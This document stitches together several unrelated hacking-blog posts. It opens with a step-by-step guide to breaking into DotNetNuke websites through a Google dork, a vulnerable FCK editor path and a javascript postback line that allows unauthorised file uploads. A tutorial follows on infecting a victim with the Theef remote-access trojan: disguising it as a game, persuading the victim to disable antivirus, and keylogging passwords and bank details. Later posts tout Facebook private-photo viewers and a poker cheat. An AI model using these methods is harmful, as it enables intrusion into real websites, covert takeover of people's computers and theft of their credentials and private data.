Today I will explain a new hacking technique known as DNN (DotNetNuke). I will show you how to hack a DNN website. Is it easy? Yes. It is easy compared to other hacking attacks such as SQL-Injection and Cross Site Scripting. I will teach you how to find your target and how to enter into the target website and upload your files.

DotNetNuke is an open source platform for building web sites based on Microsoft .NET technology. DotNetNuke is mainly provide Content Management System(CMS) for the personal websites.

Below are the easy steps to implement the attack:

• First use a google dork to find the appropriate target.

inurl:”/portals/0″ site:.com

• You can change com to your desired domain name like bd ph ae
• Now search your website on the google after searching you will get many websites choose any one of it.

• Its time to check the required vulnerability on the website just place this code after the web address.

Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

• For example if you got www.victim.com
• Replace it www.victim.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx
• If you will get this screen means this web is going to hack.

• Now choose the third option “A File On Your Site” And than paste this java code on your address bar.

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

• It will allow you to upload a files on this website you can upload text ~ swf ~ jpg ~ gif ~ pdf ~ Files.

• After uploading files you can find your file on this address www.victim.com/portals/0/yourfile.extension

here extension is txt jpg swf etc.

• In our case

www.victim.com/portals/0/b.txt

About The Author

Irfan Shakeel is an ethical hacker/penetration tester and he have found many bugs on the famous web server. He is the founder of Ethical Hacking Blog.

Theef is a Windows based application for both the client and server end. The Theef server is a virus that you install on your victims computer, and the Theef client in what you then use to control the virus. The biggest problem with using Theef is that most Anti-Virus programs will pick it up. But with a little bit of social engineering you can generally get people to turn off their AV for you.

Before we begin you need to get a copy of Theef. I have uploaded a copy to Rapid Share here: http://rapidshare.com/files/310301581/theef.zip . If that link does not work, I have posted several others in the forums here

So lets begin. First of all you need a target. This should be relatively easy to find, as I would imagine that the large portion of you reading this article already have someone in mind that you want to hack. If not, feel free to grab a second computer just so you can try this stuff out. For the purpose of this tutorial our victim is named Bob. And we are going to pretend that we are giving him an installer for a game called Awesome Game.

Now you need to convince your victim to turn off their Anti-Virus if they have any. This is because Anti-Virus programs will generally pick up Theef as a virus and delete it. Convincing someone to turn off their Anti-Virus is not often a difficult task, most of the time you can just tell them something along the lines of, &quote;Your Anti-Virus says Awesome Game is a virus, but it isn’t so don’t worry about it.&quote; People are gullible, they want to believe you will cause them no harm, they want to trust you. Use this to your advantage.

The next thing we have to do is configure the program. This is an easy task to do. And to make it easier I will walk you through it using screen shots to help showcase the items you might want to change.

First make a copy of the Theef server. The Theef server is named Server210.exe. Name your copy of the server awesomegame.exe.

Screenshot showing awesomegame.exe is a copy of Server210.exe

Now that we have a copy to work on we need to open up the editor. The server editor is named Editserver210.exe. Once it is opened you should be presented with a window that looks like this:

Screenshot of Theef Server Editor without a server loaded.

From here we need to open up our server for editing using the Load button. Once the server is loaded some values our to be filled into the boxes. The values on the first page can be left alone. In the forums I will be putting up a detailed list of what every option does, but for this tutorial we will only focus on what is needed to give Bob a virus.

To make it look plausible that Awesome Game is indeed a game and not a virus we need to setup a false error message. To do this click Setup->False Error. On this screen check the box to enable false errors, then fill in the Input box labeled text with the following “The installer failed to run!” Your screen should look like this.

Screenshot showing the False Error Screen of the Theef Server Editor

Now the server is ready to be saved and sent. Click the Save button to save the server configuration. The status bar should now say “Finished writing new server settings.” You may now close out of the server editor.

The next step is generally the hardest. You need to send the virus (in our case awesomegame.exe) to your victim and get them to run it. Now for the purposes of our tutorial we have decided to send Bob a “game” by the name of Awesome Game. Little does Bob know that Awesome Game is not a game, but our virus. We have sent Bob Awesome Game using Windows Live Messenger. If your victim is running Vista (like Bob is) then you will need to have them run the virus using Admin privileges.

Now that you have given them the virus the real fun can begin. From here we do everything in the Theef Client. This is the program that you use to control the virus. It is named Client210.exe. You should open it at this point.

Screenshot of Theef Client before connecting to a server.

You will need to get your victims IP address at this point so that you can connect to their computer. This is an easy task to do, and there are numerous ways to accomplish it. For our example we have convinced Bob to go to http://privax.us/ip-test/ and read his IP Address off to us from that page. We could also have gotten him to run ip-config or done any number of other things. If you have no idea what an IP Address is, just direct them to Privax’s IP Test and get them to send you their IP address off the page.

Using one of the aforementioned methods I have determined that Bob’s IP Address is 127.0.0.1 (please note your victim’s IP Address will differ from the address I have used in this example).

I now enter that into the IP input box on the Theef client and press Connect. If you have the correct address and they have run the virus you should see something similar to the following show up in the log box:

[15:56:44] Attempting connection with 127.0.0.1
[15:56:44] Connection established with 127.0.0.1
[15:56:44] Connection accepted
[15:56:44] Connected to transfer port

If you don’t have their IP Address correct or they have not run the virus you will see this instead:

[15:57:37] Attempting connection with 127.0.0.1
[15:57:58] Connection failed (Error: 10060)

Now that we are connected we can start to take do stuff. There are numerous features in Theef so I will only cover a small number of them here. I will likely cover more in the forums as time goes on. Also note that not all features of Theef work, and fewer features will work in Vista than in XP.

One of the most useful features of Theef is the key-logger, which is available under the Spy menu. Upon selecting it a key-logger window will open up as shown.

Screenshot of Theef Keylogger before it logs any keys.

After you click the Start button on this window you will begin to see everything that they type on their computer. This is very useful as it shows you ever password they enter. It is a one stop shop to getting their passwords to everything and things such as their bank account numbers, etc.

There are other features in Theef that can be used for just screwing with people as well. Underneath of the Control Menu there is a button labeled Power. If you click that you will notice an Open/Close CD-ROM Drive button. Most people freak out if their CD-ROM Drive randomly opens and closes without them doing anything.

So this concludes my brief tutorial on how to use Theef. There is a lot more in this program that I covered here, but this should give you the basics on how to get started. Below I have posted two videos showing many more things that Theef can do. If you play these videos at the same time you can see how the client controls the server.

Watch Theef Server in Educational & How-To | View More Free Videos Online at Veoh.com

Watch Theef Client Video in Educational & How-To | View More Free Videos Online at Veoh.com

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Have you heard the story of Aladdin and his genie? Well, If you ever wished free calls, your prayers have been answered by this genie called FREE-411. You can use 411 service to make free international calls for 5 minutes per call. All you have to do is:

1) Dial 1-800-373-3411 (1-800-FREE-411),

2) When the automated operator greets you (probably after an ad) you need to say “Free Call”. You will, then, be connected to the server.

3) Enter (key in) your destination number in “country code + destination number” format. For example 9122********* could connect you to someone in Mumbai.

4) Continue talking for 5 minutes and then this free call will get disconnected. You know what you want to do after that, yes follow steps 1-4 again.

This number 1-800-FREE-411, when dialed from a landline in USA is a free number. For our readers outside USA there is no reason to get disappointed. You can use skype to call 1-800-373-3411 for free and you can get free international calls anywhere in the world. Yes!! That is free ISD as well as STD calls.

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System Requirements

• 1 GHz 32-bit or 64-bit Processor
• 1GB of RAM (2GBs for 64-bit)
• 16GB Available Hard Drive Space (20GBs for 64-bit)
• DirectX 9-enabled GPU

Obviously, to reap the benefits of many of Windows 7′s other features, higher performance machines are required. If you’re not sure what kind of gear your PC is running but still want to get Windows 7, Microsoft has created a small evaluation program for determining whether you machine is capable of running Windows 7, which can be downloaded directly from Microsoft’s official download center.

Windows 7 Upgrade Advisor will also tell you whether or not you will be able to upgrade your existing OS to Windows 7 or be required to do a fresh install, which will remove all of your preexisting files and settings. If you’d like to find out without having to install the software, Microsoft released an upgrade chart viewable here.

Whats New?

Many of the features of Windows 7 are improvements on the core framework of Windows Vista, but what features are new to Windows 7? Check out the most notable additions below:

• New Windows Taskbar: Now, it feels and behaves a lot more like Mac OS X’s dock.
• Jump Lists: Context-sensitive menus which are available for each program in your Taskbar and your Start Menu
• Unified Search: The old Start Menu gains a greater amount of utility in Windows 7.
• Fewer Annoying Popups: Remember the famously intrusive UAC system in Vista?
• Device Stage: gives you a single window for interacting with your various gadgets

Better than Vista?

Most reviewers made the inevitable comparison to Microsoft’s last operating system, Vista, which was widely considered a dud. And, most reviewers were happy to announce that Windows 7 is a big improvement over its predecessor. “The first thing you’ll notice about Windows 7 is that it looks like Vista,” writes the Guardian. “It also works like Vista, in the sense that it has the same plumbing underneath, except for a very welcome graphics upgrade to DX11. However, it works much better than Vista, and most of Vista’s annoyances have either been removed, or (mostly) can be changed so the system works the way you like. It takes personalisation to extremes.”

Cleaner look

“Windows 7 introduces real advances in organizing your programs and files, arranging your taskbar and desktop, and quickly viewing and launching the page or document you want, when you want it,” says The Wall Street Journal. “It also has cool built-in touch-screen features. It removes a lot of clutter. And it mostly banishes Vista’s main flaws—sluggishness; incompatibility with third-party software and hardware; heavy hardware requirements; and constant, annoying security warnings.”

Speed test

“Windows 7 feels faster than Windows XP and Vista, but it turns out that’s not always the case–sometimes, it’s the slowest out of the three operating systems,” reports CNET. “As you can see in the chart, we found that Windows 7 RTM was the fastest to shutdown, and was tied with XP for iTunes encoding. However, it was slower than XP and Vista for both booting up cold by a bit more than 1 second, and slower than either of its predecessors in its Microsoft Office performance.”

Compatibility with old software and hardware

Engadget maintains a Windows 7 upgrade guide, but in their review they say that “anything we found to work in Vista seemed to work just fine (in some cases better!) in Windows 7. That goes for hardware and software, but of course the real test will be when this OS is unleashed upon the masses — your mom’s brother’s 25 year old printer might not make the cut, and we’ll be sure to pour out a 40 upon its behalf. In truth, Microsoft does a very good job with keeping a truly insane quantity of hardware and drivers and vendors happy, but we still think they could do better.”

Compatibility with Drivers

“With the Big Day just days away, expect to see a plethora of announcements from Windows hardware manufacturers about the availability of drivers for Windows 7,” says Driver Detective. Microsoft has addressed the issue of driver compatibility with Windows 7 by requiring all Vista-certified hardware manufacturers to provide Microsoft with compatibility metrics for Windows 7. Those drivers that don’t pass muster on the first blush must be made Windows 7 compatible by the time the new OS is released if the manufacturers wish to retain Vista certification.

Is there any Windows 7 Activation Hack?

“The first crack for Windows 7 RTM Build 6.1.7600.16385 had a short life time span and Microsoft made certain of this aspect,” says Softpedia. The Redmond company revealed that it had worked with Lenovo, the original equipment manufacturer that contributed to the activation circumventing of Windows 7 RTM by leaking the OEM SLP Master Product Key that served as the backbone of the hack, in order to hinder future attempts to bypass the activation and validation process associated with the latest iteration of the Windows client, via this method. The Redmond company indicated that it had blacklisted the special product key issued to Lenovo for the OEM-SLP (System-Locked Preinstallation) of the gold bits of Windows 7.

Sorry Guys Right not there is no Patch available to Activate your Beta copy of Windows 7

The final word

“Windows XP was a great OS in its day. Windows Vista, once it found its feet several months in, was a good OS. With Windows 7, the OS is great again,” concludes Gizmodo. “It’s what people said they wanted out of Windows: Solid, more nimble and the easiest, prettiest Windows yet. There’s always a chance this won’t be a huge hit come October, given the economy and the state of the PC industry, but it’s exactly what Microsoft needs right now. Something people can grab without fear.”

Reuters reminds us that, “Like Windows 7, Vista got good reviews too: As Microsoft Corp’s Windows 7 release approaches, early reviews are generally positive. But so were reviews for Windows Vista just before its launch…. Vista got high marks before its release as well, with writers back then praising a new visual design — and glossing over quirks that later became common gripes.”

• Cannot delete file: Access is denied
• There has been a sharing violation.
• The source or destination file may be in use.
• The file is in use by another program or user.
• Make sure the disk is not full or write-protected and that the file is not currently in use.

Windows File Unlocker

This single-function system utility removes a file’s access restrictions. Unlocker is unobtrusive: it resides in the system tray; an Unlocker command appears in files’ right-click menus.

Description

The application removes file-access restrictions that prevent a user from moving, deleting, or renaming a file. The user right-clicks on a file and selects Unlocker, which displays information regarding the selected file, such as Path Locked, PID, Handle, and Process Path. This program also allows terminating a currently running process. In some cases, files cannot be accessed due to Windows file-access bugs, for which Windows informs the user the file is currently in use–even when it’s not.

Unlocker can effectively bypass this bug’s restrictions; it unlocks or disables whatever is preventing the user to access that file. This tool would be a lot easier to use if it allowed hot keys. Novices to advanced users will find this free application very useful.

Features

• Close any handle.
• Kill any process.
• Unload any Damn DLL. Note: You should be aware of the consequences before doing it.
• Delete index.dat . ‘index.dat‘ is System File which store your IE Web History
• Delete, Rename and Move  any file you want without the permission of the owner
• Best of all. It is a Freeware!

How to Use it?

1. Simply right click the folder or file and select Unlocker

   

2. If the folder or file is locked, a window listing of lockers will appear

   

3. Simply click Unlock All and you are done!

Download

You can download this free Utility at http://ccollomb.free.fr/unlocker/unlocker1.8.7.exe

Tools in the Hungry Hacker’s Toolkit Uptill Now:

• Kon Boot – Resets Windows and Linux Admin Passwords
• Windows File Unlocker – Removes File-Access Restrictions that prevent a User from Moving, Deleting, or Renaming a File

Facebook has become very famous in last 1 year. Orkut which was considered to be the best Social networking website has been sidetracked by emerging Social Networking Websites like Facebook and Twitter. Considering the popularity of Facebook we have collected the Most Essential Hacks of Facebook and presented them to you.

1.How to View the Album of Any User Even if it is Private

You can use this script to view a photo in the original album, even if you’re not friends with the person.

Get it Here

2. How to Remove Annoying Facebook Advertisement

Get rid of some of the Facebook advertising and sponsored by sections with this tool.

Get it Here

3. How to see Real Profiles from Public Pages

This script redirects to real profiles from the Facebook people pages (public profiles). There is a risk of an infinite redirect loop if not logged in, so be logged in.

Get it Here

4. How to Undo Facebook Changes

If you hate some or all of the new Facebook changes, undo them with these scripts and use what you liked previously.

Get it Here

5. How to View All the Photos from a Person

You can search for pictures of a Facebook member who has tight privacy settings and view all his/ her pictures without his/ her consent.

Get it Here

6. How to Find More Friends at Facebook

Suppose some of your friends have newly joined Facebook and you didn’t even knew. Use this script and it will help you go through your friends’ friends list and find them out.

Get it Here

7. How to Share Files from Facebook

With this box widget, you can share files from your computer through Facebook. Isn’t it great?

Get it Here

8. How to Get a Job from Facebook

Looking for a job? This application gives Facebook users unique access to job information, networking opportunities and other career resources.

Get it Here

9. How to Tighten up the Privacy and still Maintain Communication Convenience

The Private Wall combines the best of both worlds of Facebook: online convenience and communication with more serious privacy settings.

Get it Here

10 How to Cheat Facebook Texas Hold em Poker

This is one of my Favorite hacks and that is why I have saved it for the last one. Using this software you can see the cards of any player and the advanced version of this software allows you to even add credits to your account for free.

Get it Here

I discovered five new Firefox tips today. Maybe these are old hat and you know them already. Or maybe like me, you had no idea these could be done.

1. Delete visited URL’s

When you drop down the box underneath the address bar, you can see your recent browsing history. But what if you want to remove one URL from that list? Maybe you’ve been looking at a naughty site and you don’t want your girfriend to know? Or maybe you’ve been shopping for your loved one online and you want to keep it a secret?

Just drop down the URL box, highlight the URL you want to zap then press the “delete” button on your keyboard. The URL will then be removed from the list.

2. Navigate to browser tabs using the keyboard

Instead of using the mouse to click on a tab, why not use the keyboard instead? Pressing CTRL + TAB together will bounce you from tab to tab, starting from the one in the far left and working its way along. Or if you want to go to a specifc tab straight away, you can do that too. CTRL + 2 will take you directly to the second tab from the left. CTRL + 5 will take you to the fifth tab from the left.

3. Grab files off webpages, even protected webpages

Have you ever wanted a picture, file or video off a webpage but you can’t, because it’s been protected? Just right-click on the page, choose “View Page Info” then the “media” tab. Find the file you’re looking for from the list and click on “save”. (note : this doesn’t work for everything but I have still had a pretty high success rate nonetheless).

This Question has been asked to me by a lot of people. Today I will introduce you to a well known Hacker Mr. David Melnichuk who has written a Book “The Hacker’s Underground handbook”. This book is a first step for all the people who want to become a Hacker. Following is short conversation between me and David:

Hungry Hacker: “David, what’s this The Hacker’s Underground handbook that I keep hearing about?”

David: “I wrote this book a couple months ago. When I first got into the hacking scene, I was just like any other newbie. I asked stupid questions and thought that there was some easy trick to hacking. Little did I know that 4 years later I would still be learning and loving every minute of it. Anyways, after searching for “how to hack” and not coming up with anything useful and understandable, I was told to go read some books.”

Hungry Hacker: “So what did you learn from those books?”

David: “Well Frankly speaking, I didn’t understand what I was reading. Only after some independent research on many topics did I start to understand what hacking was and how broad of a topic it really was.”

Hungry Hacker: ” So what did you do after that?”

David: “I decided to write up this E-Book for all the newbies out there that would love to get into the hacking scene but have absolutely no idea where to begin. This is where my E-Book, The Hacker’s Underground Handbook came from.”

Hungry Hacker: “What can one get from this book?”

David: “The book was created for absolute beginners. It will take you from absolute zero knowledge and leave you at a confident level making you aware of where to go next and how to continue to learn.”

Hungry Hacker: “What all Topics does it cover?”

David: “It covers the beginning of many topics like programming, Linux, password cracking, phishing, network hacking, wireless hacking, malware, and Windows hacking.”

Hungry  Hacker: “Thanks David for writing such a useful book.”

So Friends, I don’t think now there is anything left for me to answer your question. If you want to become a Hacker then this books is what you require. So go and grab your copy of “The Hacker’s Underground Handbook” as early as possible.

Myth 1 – I don’t keep important things on my PC, so I don’t have to worry about security. Your PC can be infected over internet

Long time ago,this was partially true… but the hybrid worms and viruses of today like Blaster, hidrag and others blindly spread across internet to thousands or millions of PCs in a matter of hours, without regard for who owns them, what is  stored there, or the value of the information they hold for the sole purpose of wreaking havoc. Even if your computer is not attacked directly, it can be used as a zombie to launch a denial-of-service or other attack on a network or to send spam or pornography to other PCs without being traced. Therefore, your civic responsibility is to protect your PC so that others are protected.

Myth 2 – I can protect my PC if I disconnect from the Internet or turn it off when I’m not using it.

Wrong. You are a target, If you connect to the Internet at all. You could download a virus when you connect to internet and it may not be activated immediately, not until you read your email offline days after. Viruses nowadays spread wildly through USB/Pen drives, pirated cd’s or torrents or file from networks. But now you can protect your business from internet threats with the top web security software

Myth 3 – I can protect myself from viruses by not opening suspicious e-mail attachments. Some viruses simply get activated by reading or previewing an e-mail

Wrong again. The next virus you get may come from your best friend’s or boss’ computer if his e-mail address book was compromised for simulating an attack. Hybrid worms can enter through the Web browser through loopholes and it is possible to activate some viruses simply by reading or previewing an e-mail. You simply must have a PC-based antivirus package or a firewall.

Myth 4 – I have a Macintosh (or a Linux-based system), not a Windows system, so I don’t have to worry about being attacked.

It is true that most attacks target Microsoft Windows–based PCs, but there have been attacks against Mac OS and Linux systems as well. Some experts have predicted that the Mac virus problem will get worse, because Mac OS X uses a version of Unix. And although these systems have some useful security features, they can still be attacked.

Myth 5 – My system came with an Anti-virus package, so I’m protected.

Not quite. Firstly, if you haven’t activated your antivirus to scan incoming web traffic automatically, you don’t have a good Anti-virus and malware protection software. Secondly, new threats appear daily, so an antivirus package is only as good as its last update so its a must to activate the auto-update features to keep your guard up against the latest  threats. Thirdly, an antivirus package can’t protect you from every threat. Malwares, spywares are running in the wild out there and every now and then malicious code penetrate weak systems. You need a combination of solutions, including, at minimum, antivirus, a personal firewall ,an anti spyware/malware package and a plan for keeping your operating system and software up to date with security patches.

There is a simple procedure to uninstall or delete linux completely and safely by following a step by step procedure illustrated below and it is tested by me .

Requirements:
You need a windows 98 startup disk or windows XP installation CD.

How to do it:

1. Reboot your laptop with windows 98 start up disc or Windows XP CD and type the command “fixmbr”.

2. Above command will repair ur bootloader and rewrite ntldr which will replace grub loader of Linux and now you can see only Windows XP in the boot menu.

3. Now Boot up in Windows xp.

4. Go to Start > Control Panel > Administrative Tools > Computer Management

5. Go to Disk Management under “Storage”

6. Select your Hard Disk and then the linux partition.

7. Delete the linux partition this will delete linux and grub.

8. Thats it done now boot your laptop or desktop normally it will be booted by default in windows xp.

If you have any problem in the procedure given above leave a comment here…